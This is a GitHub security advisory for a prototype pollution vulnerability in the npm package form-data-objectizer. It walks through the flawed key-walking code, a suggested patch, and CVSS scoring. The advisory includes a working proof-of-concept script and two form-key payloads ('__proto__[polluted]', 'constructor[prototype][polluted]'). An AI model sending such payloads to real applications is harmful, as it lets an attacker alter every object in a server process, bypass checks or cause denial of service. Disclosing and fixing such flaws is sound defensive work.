Skip to content

form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys

High severity GitHub Reviewed Published May 11, 2026 in kaspernj/form-data-objectizer • Updated Jun 9, 2026

Package

npm form-data-objectizer (npm)

Affected versions

<= 1.0.0

Patched versions

1.0.1

Description

Summary

form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process.

The bug is in treatInitial and treatSecond inside index.cjs:

if (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches
  newResult = result[inputName]      // newResult === Object.prototype
}
// ...
result[key] = value                  // sets the property on Object.prototype

With the form key __proto__[polluted] and value yes:

  1. treatInitial matches inputName = "__proto__", rest = "[polluted]".
  2. "__proto__" in result is true (inherited), so newResult = result["__proto__"], which is Object.prototype.
  3. treatSecond recurses with key = "polluted", newRest = "", and assigns Object.prototype.polluted = "yes".

Affected versions

  • form-data-objectizer <= 1.0.0 (currently the only published version)

Patched

Not yet. Suggested fix: reject any segment equal to __proto__, constructor, or prototype before walking into result[inputName] / result[key]. Either throw or skip the entry.

Minimum patch in treatInitial and treatSecond:

const REJECT = new Set(['__proto__', 'constructor', 'prototype']);
if (REJECT.has(inputName) || REJECT.has(key)) {
  return; // or throw
}

Using Object.create(null) for the result object would also work since it has no prototype to pollute, but the key === '__proto__' direct write still needs guarding.

Proof of concept

Fresh install on Node 18+:

mkdir pp-fdo && cd pp-fdo
npm init -y
npm install form-data-objectizer@1.0.0
// poc.js
const FormDataToObject = require('form-data-objectizer');

const form = new FormData();
form.append('username', 'alice');
form.append('__proto__[polluted]', 'yes');

FormDataToObject.toObject(form);
console.log(({}).polluted); // -> 'yes'

Observed output:

package version: 1.0.0
before pollution: undefined
after pollution:  yes
parsed data:     { username: 'alice' }
confirmed:       YES, prototype polluted

The field name __proto__[polluted] is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits polluted = 'yes'. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.

A second working payload is constructor[prototype][polluted]=yes, which walks result.constructor then .prototype.

Impact

  • Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses form-data-objectizer.toObject() on incoming form data.
  • Persists for the life of the worker process and affects every subsequent request handled by the same process.
  • Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing if (obj.isAdmin) style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2, High)

Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.

Credit

Reported by Mohamed Bassia (@0xBassia).

References

@kaspernj kaspernj published to kaspernj/form-data-objectizer May 11, 2026
Published to the GitHub Advisory Database May 18, 2026
Reviewed May 18, 2026
Published by the National Vulnerability Database May 29, 2026
Last updated Jun 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. Learn more on MITRE.

CVE ID

CVE-2026-46510

GHSA ID

GHSA-m2hg-wjq3-28wq

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.